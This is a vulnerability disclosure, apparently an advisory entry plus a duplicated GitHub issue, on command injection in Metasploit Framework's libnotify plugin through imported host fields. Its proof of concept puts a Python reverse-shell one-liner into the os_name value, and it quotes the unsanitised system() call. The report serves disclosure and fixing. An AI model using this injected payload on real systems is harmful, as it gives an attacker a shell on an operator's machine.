Rapid7 Metasploit Framework versions before 5.0.85 suffers from an instance of CWE-78: OS Command Injection, wherein the libnotify plugin accepts untrusted user-supplied data via a remote computer's hostname or service name. An attacker can create a specially-crafted hostname or service name to be imported by Metasploit from a variety of sources and trigger a command injection on the operator's terminal. Note, only the Metasploit Framework and products that expose the plugin system is susceptible to this issue -- notably, this does not include Rapid7 Metasploit Pro. Also note, this vulnerability cannot be triggered through a normal scan operation -- the attacker would have to supply a file that is processed with the db_import command.
cpe:2.3:a:rapid7:metasploit:*:*:*:*:*:*:*:*
AE42CAE4-4C47-40EC-AC83-D6EE17824B2B
5.0.85
OR
the plugin libnotify has a command injection vulnerability which could be triggered when the client imports info as hostnames or services specially crafted from another tool

The impact is low because is not possible to tamper the hostname when the client runs a scan with nmap for example

in the libnotify's callback of db_host:

``` ruby
def on_db_host(host)
    notify_send('normal', 'New host',
                "Addess: #{host.address}\nOS: #{host.os_name}")
  end
```
if we could tamper the field os_name, this data lands in a call to system in notify-send in order to display the notification

```
  def notify_send(urgency, title, message)
    system("#{@bin} #{@bin_opts} -u #{urgency} '#{title}' '#{message}'")
  end
```

## Steps to reproduce

How'd you do it?

1. load the plugin:
```
msf5 > load libnotify                                                     
[*] Successfully loaded plugin: libnotify
```
2. Now if we import the hosts' info from another tool (as faraday, openvas or nessus) and we don't have limitations in the hostname field, the importer plugin will run our field without sanitizing

the plugin will run something similar to:

```
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
                                                                      
>> db.find_or_create_host(:workspace => 'pepe', :host => '192.168.6.16', :state => Msf::HostState::Alive, :os_name => 'BEGIN\'; python -c \'import socket
,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.f
ileno(),2);p=subprocess.call(["/bin/sh","-i"])')
```
in this case, I made a little PoC running a reverse shell in another port

the impact is really low because tools as nmap filter the hostname based on the fingerprint of the OS so is not easy to trigger the bug in a scan for example, but in a plugin importer could be fit




possible vulnerability in libnotify
This is a GitHub Issue
repo:metasploit-framework
owner:rapid7
Title : possible vulnerability in libnotify
Issue date:

--- start body ---
the plugin libnotify has a command injection vulnerability which could be triggered when the client imports info as hostnames or services specially crafted from another tool

The impact is low because is not possible to tamper the hostname when the client runs a scan with nmap for example

in the libnotify's callback of db_host:

``` ruby
def on_db_host(host)
    notify_send('normal', 'New host',
                "Addess: #{host.address}\nOS: #{host.os_name}")
  end
```
if we could tamper the field os_name, this data lands in a call to system in notify-send in order to display the notification

```
  def notify_send(urgency, title, message)
    system("#{@bin} #{@bin_opts} -u #{urgency} '#{title}' '#{message}'")
  end
```

## Steps to reproduce

How'd you do it?

1. load the plugin:
```
msf5 > load libnotify                                                     
[*] Successfully loaded plugin: libnotify
```
2. Now if we import the hosts' info from another tool (as faraday, openvas or nessus) and we don't have limitations in the hostname field, the importer plugin will run our field without sanitizing

the plugin will run something similar to:

```
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
                                                                      
>> db.find_or_create_host(:workspace => 'pepe', :host => '192.168.6.16', :state => Msf::HostState::Alive, :os_name => 'BEGIN\'; python -c \'import socket
,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.f
ileno(),2);p=subprocess.call(["/bin/sh","-i"])')
```
in this case, I made a little PoC running a reverse shell in another port

the impact is really low because tools as nmap filter the hostname based on the fingerprint of the OS so is not easy to trigger the bug in a scan for example, but in a plugin importer could be fit




--- end body ---

comments :
--- start comments ---

--- end comments ---